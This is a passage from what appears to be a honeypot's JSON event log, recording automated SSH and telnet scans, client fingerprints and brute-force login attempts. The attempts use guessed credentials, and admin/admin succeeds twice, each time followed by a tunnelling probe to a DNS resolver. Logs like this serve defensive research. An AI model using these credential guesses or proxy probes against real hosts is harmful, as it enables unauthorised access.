-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.414125Z","src_ip":"87.251.64.176","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.699275Z","src_ip":"87.251.64.176","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.796470Z","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.893694Z","src_ip":"87.251.64.176","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:24:31.990211Z","src_ip":"87.251.64.176","session":"0a179049c5a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47374,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f14dc1a3709","protocol":"telnet","message":"New connection: 128.199.8.54:47374 (159.203.135.109:23) [session: 5f14dc1a3709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:25:59.543426Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55498,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd27354c04be","protocol":"telnet","message":"New connection: 172.81.62.90:55498 (159.203.135.109:23) [session: bd27354c04be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:05.388836Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":35324,"dst_ip":"10.17.0.5","dst_port":22,"session":"71e537dcb31d","protocol":"ssh","message":"New connection: 34.100.248.63:35324 (10.17.0.5:22) [session: 71e537dcb31d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:26.314319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:26.317925Z","src_ip":"34.100.248.63","session":"71e537dcb31d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:26.545245Z","src_ip":"34.100.248.63","session":"71e537dcb31d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shipping","password":"123456","message":"login attempt [shipping/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:27.537194Z","src_ip":"34.100.248.63","session":"71e537dcb31d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:28.776274Z","src_ip":"34.100.248.63","session":"71e537dcb31d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":57646,"dst_ip":"10.17.0.5","dst_port":22,"session":"533b5183cbe1","protocol":"ssh","message":"New connection: 193.37.70.224:57646 (10.17.0.5:22) [session: 533b5183cbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:43.779920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:43.784240Z","src_ip":"193.37.70.224","session":"533b5183cbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:43.873279Z","src_ip":"193.37.70.224","session":"533b5183cbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:44.140939Z","src_ip":"193.37.70.224","session":"533b5183cbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.229130268096924,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:44.617640Z","src_ip":"172.81.62.90","session":"bd27354c04be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:45.231688Z","src_ip":"193.37.70.224","session":"533b5183cbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.156254053115845,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:26:53.699565Z","src_ip":"128.199.8.54","session":"5f14dc1a3709","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35240,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8eae1ca3a0","protocol":"telnet","message":"New connection: 107.6.151.170:35240 (159.203.135.109:23) [session: da8eae1ca3a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:40.812997Z"}
{"eventid":"cowrie.session.closed","duration":0.07976245880126953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:40.892657Z","src_ip":"107.6.151.170","session":"da8eae1ca3a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":37156,"dst_ip":"159.203.135.109","dst_port":22,"session":"294f8a810ff1","protocol":"ssh","message":"New connection: 109.237.96.109:37156 (159.203.135.109:22) [session: 294f8a810ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:59.588022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:59.591281Z","src_ip":"109.237.96.109","session":"294f8a810ff1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:59.683911Z","src_ip":"109.237.96.109","session":"294f8a810ff1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mama1971","message":"login attempt [root/mama1971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:27:59.964697Z","src_ip":"109.237.96.109","session":"294f8a810ff1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:01.063332Z","src_ip":"109.237.96.109","session":"294f8a810ff1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":43916,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ba74fae3b2","protocol":"ssh","message":"New connection: 34.100.248.63:43916 (10.17.0.5:22) [session: b9ba74fae3b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:43.521108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:43.533419Z","src_ip":"34.100.248.63","session":"b9ba74fae3b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:43.776611Z","src_ip":"34.100.248.63","session":"b9ba74fae3b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"origen-www","password":"origen-www123","message":"login attempt [origen-www/origen-www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:44.783063Z","src_ip":"34.100.248.63","session":"b9ba74fae3b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:46.044810Z","src_ip":"34.100.248.63","session":"b9ba74fae3b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45316,"dst_ip":"159.203.135.109","dst_port":23,"session":"03a0670104bf","protocol":"telnet","message":"New connection: 128.199.8.54:45316 (159.203.135.109:23) [session: 03a0670104bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:53.885698Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49424,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d13a7498ec8","protocol":"telnet","message":"New connection: 172.81.62.90:49424 (159.203.135.109:23) [session: 7d13a7498ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:28:56.733361Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":55408,"dst_ip":"10.17.0.5","dst_port":22,"session":"1567f069fdd3","protocol":"ssh","message":"New connection: 87.251.64.176:55408 (10.17.0.5:22) [session: 1567f069fdd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.271476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.275327Z","src_ip":"87.251.64.176","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.369137Z","src_ip":"87.251.64.176","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.651113Z","src_ip":"87.251.64.176","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.747335Z","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.843478Z","src_ip":"87.251.64.176","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:03.939713Z","src_ip":"87.251.64.176","session":"1567f069fdd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.71472978591919,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:39.600317Z","src_ip":"128.199.8.54","session":"03a0670104bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.61353349685669,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:40.346798Z","src_ip":"172.81.62.90","session":"7d13a7498ec8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60326,"dst_ip":"159.203.135.109","dst_port":22,"session":"c905f351f3dd","protocol":"ssh","message":"New connection: 103.77.242.62:60326 (159.203.135.109:22) [session: c905f351f3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:41.306578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:41.309696Z","src_ip":"103.77.242.62","session":"c905f351f3dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:41.548928Z","src_ip":"103.77.242.62","session":"c905f351f3dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200784","message":"login attempt [root/200784] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:42.268752Z","src_ip":"103.77.242.62","session":"c905f351f3dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:43.510712Z","src_ip":"103.77.242.62","session":"c905f351f3dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":40988,"dst_ip":"159.203.135.109","dst_port":22,"session":"836689ac3735","protocol":"ssh","message":"New connection: 46.19.67.181:40988 (159.203.135.109:22) [session: 836689ac3735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:55.658960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:55.663133Z","src_ip":"46.19.67.181","session":"836689ac3735","protocol":"ssh"}
